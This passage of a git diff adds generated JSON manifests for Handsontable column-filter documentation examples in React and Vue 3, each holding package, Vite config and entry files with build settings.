\"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleServerSideFilter\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-filter/react/exampleServerSideFilter.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleServerSideFilter","exampleTitle":"Server-side filtering","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleShowFilterItemsOnly.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleShowFilterItemsOnly.tsx.json new file mode 100644 index 00000000..da259628 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__react__exampleShowFilterItemsOnly.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Columns ▸ Column filter · Enable filtering · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleShowFilterItemsOnly\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-filter/react/exampleShowFilterItemsOnly.tsx","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleShowFilterItemsOnly","exampleTitle":"Enable filtering","docPermalink":"/column-filter","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleCustomFilterButton.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleCustomFilterButton.vue.json new file mode 100644 index 00000000..34e10ed8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleCustomFilterButton.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column filter · Customize the filter button · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleCustomFilterButton\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleCustomFilterButton.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleCustomFilterButton","exampleTitle":"Customize the filter button","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleCustomFilterButton2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleCustomFilterButton2.vue.json new file mode 100644 index 00000000..8630ed3a --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleCustomFilterButton2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column filter · Customize the filter button (3) · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleCustomFilterButton2\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleCustomFilterButton2.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleCustomFilterButton2","exampleTitle":"Customize the filter button (3)","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleEnableFilterInColumns.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleEnableFilterInColumns.vue.json new file mode 100644 index 00000000..a54a5020 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleEnableFilterInColumns.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column filter · Enable filtering for individual columns · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleEnableFilterInColumns\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleEnableFilterInColumns.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleEnableFilterInColumns","exampleTitle":"Enable filtering for individual columns","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleExcludeRowsFromFiltering.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleExcludeRowsFromFiltering.vue.json new file mode 100644 index 00000000..53139ae7 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleExcludeRowsFromFiltering.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column filter · Exclude rows from filtering · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleExcludeRowsFromFiltering\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleExcludeRowsFromFiltering.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleExcludeRowsFromFiltering","exampleTitle":"Exclude rows from filtering","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleFilterBasicDemo.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleFilterBasicDemo.vue.json new file mode 100644 index 00000000..c514ec88 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleFilterBasicDemo.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column filter · Filtering demo · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleFilterBasicDemo\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleFilterBasicDemo.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleFilterBasicDemo","exampleTitle":"Filtering demo","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleFilterDifferentTypes.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleFilterDifferentTypes.vue.json new file mode 100644 index 00000000..b8e16948 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleFilterDifferentTypes.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column filter · Filter different types of data · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleFilterDifferentTypes\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleFilterDifferentTypes.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleFilterDifferentTypes","exampleTitle":"Filter different types of data","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleFilterOnInitialization.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleFilterOnInitialization.vue.json new file mode 100644 index 00000000..69c6f151 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleFilterOnInitialization.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column filter · Filter data on initialization · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleFilterOnInitialization\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleFilterOnInitialization.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleFilterOnInitialization","exampleTitle":"Filter data on initialization","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleFilterThroughAPI1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleFilterThroughAPI1.vue.json new file mode 100644 index 00000000..7ef41fa5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleFilterThroughAPI1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column filter · Filter data programmatically · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleFilterThroughAPI1\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleFilterThroughAPI1.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleFilterThroughAPI1","exampleTitle":"Filter data programmatically","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleGetFilteredData.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleGetFilteredData.vue.json new file mode 100644 index 00000000..35ac0628 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleGetFilteredData.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column filter · Get filtered data · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleGetFilteredData\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleGetFilteredData.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleGetFilteredData","exampleTitle":"Get filtered data","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleQuickFilter.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleQuickFilter.vue.json new file mode 100644 index 00000000..c9b4adc0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleQuickFilter.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column filter · External quick filter · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleQuickFilter\");","/src/App.vue":"\n\n\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleQuickFilter.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleQuickFilter","exampleTitle":"External quick filter","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleSaveRestoreFilters.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleSaveRestoreFilters.vue.json new file mode 100644 index 00000000..6c7ccd9f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleSaveRestoreFilters.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column filter · Save and restore filter settings · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleSaveRestoreFilters\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-filter/vue/exampleSaveRestoreFilters.vue","breadcrumb":["Columns","Column filter"],"guide":"guides/columns/column-filter/column-filter.md","guideTitle":"Column filter","exampleId":"exampleSaveRestoreFilters","exampleTitle":"Save and restore filter settings","docPermalink":"/column-filter","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleSearchMode.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleSearchMode.vue.json new file mode 100644 index 00000000..7ce15bf9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__columns__column-filter__vue__exampleSearchMode.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column filter · Enable filtering within already filtered results · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
